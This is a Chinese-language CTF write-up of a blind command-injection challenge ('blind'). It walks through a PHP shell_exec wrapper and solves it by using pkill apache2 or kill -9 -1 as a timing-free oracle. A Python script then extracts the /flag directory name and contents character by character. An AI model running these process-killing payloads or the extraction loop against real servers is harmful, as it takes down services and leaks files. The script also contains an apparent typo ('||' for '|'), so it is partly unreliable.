一道命令执行盲注题目
题目描述
因为环境关了,所以就简述一下。
题目就一个index.php,源码如下:
<?php
$cmd = $_GET['cmd'] ?? '';
if (!$cmd) {
highlight_file(__FILE__);
die();
}
shell_exec('timeout -s SIGKILL 0.1 sh -c -- ' . escapeshellarg('sh -c -- ' . escapeshellarg($cmd) . ' ; sleep 1'));
题目环境是无法外连的,各种权限卡的也很死,基本上就只能读吧。
还挺简单?
题目分析
首先这里执行的是sh -c命令,用于在一个新的shell进程中执行字符串命令。
sh -c -- 'COMMAND'
前面的timeout用于在指定的时间后向运行的命令发送一个信号来停止它,在这里在0.1秒后向sh -c命令发送 SIGKILL 信号来杀掉它。同时因为sh -c的执行结果也是没有回显的,因此也不能直接cat去读文件。
escapeshellarg函数会避免用户拼接自己的命令来逃脱timeout的限制。至于为什么用两个escapeshellarg套了一下,现在我是看不出有什么意义的。不过当时做的时候,我一直觉得这玩意儿这么组合是有问题的,但其实escapeshellarg只有和escapeshellcmd组合才会产生问题,然后浪费了好多时间看这些单引号……所以思路真的很重要呀😢
解题流程
这道题目叫blind,结合这个情况也能猜到是盲注。这里就知道timeout的作用了,因为没有布尔回显差异,所以无法用布尔盲注,而sleep这类延时命令也被timeout限制了。
所以第一考点就是,找到一个可以让服务器回显产生差异的命令。有两个,pkill apache2 和 kill -9 -1,它们都会杀掉当前的TCP连接。执行的效果如下

然后我们就可以构造一个if [ expression ]; then COMMAND; fi来写盲注的脚本。利用的是在与服务器连接断开后requests.get会发生报错。
try:
response = requests.get(url, params=param_data)
except:
result += chr(char)
print("Extracted so far: " + result)
break
下面理所当然得就想到读/flag,但这里其实还有一个坑。在if [ "$( cut -c1 /flag)" = "a" ];这样读的时候会发现,读不出任何内容。而if [ -r /flag]又判断出/flag是可读的,但用判断文件的表达式if [ -f /flag]却是False。当时我就晕了,就怎么都想不到/flag是个目录😭
这时应该用if [ -d /flag]确定/flag是个目录

如果我继续做的话,首先用if [ "$(ls /flag | wc -l)" = "1" ]判断出/flag下有几个条目,这里判断出有一个。

然后用if [ "$( ls /flag|cut -c1 )" = "9" ];爆破出文件名。
import requests
import time
url = "http://10.211.55.12/xman/" # Target URL
result = ""
for i in range(1, 1000): # adjust as needed
param_data = {}
for char in range(32, 129):
injection_str = f"if [ \"$(ls /flag || cut -c{i})\" = \"{chr(char)}\" ];then pkill apache2;fi"
param_data['cmd'] = injection_str # adjust parameter name accordingly
time.sleep(0.04)
try:
response = requests.get(url, params=param_data)
except:
result += chr(char)
print("Extracted so far: " + result)
break
else:
print("Extraction completed.")
break

然后就可以用逐字符猜解出flag了
injection_str = f"if [ \"$( cut -c{i} /flag/981y2hsdasd)\" = \"{chr(char)}\" ];then pkill apache2;fi"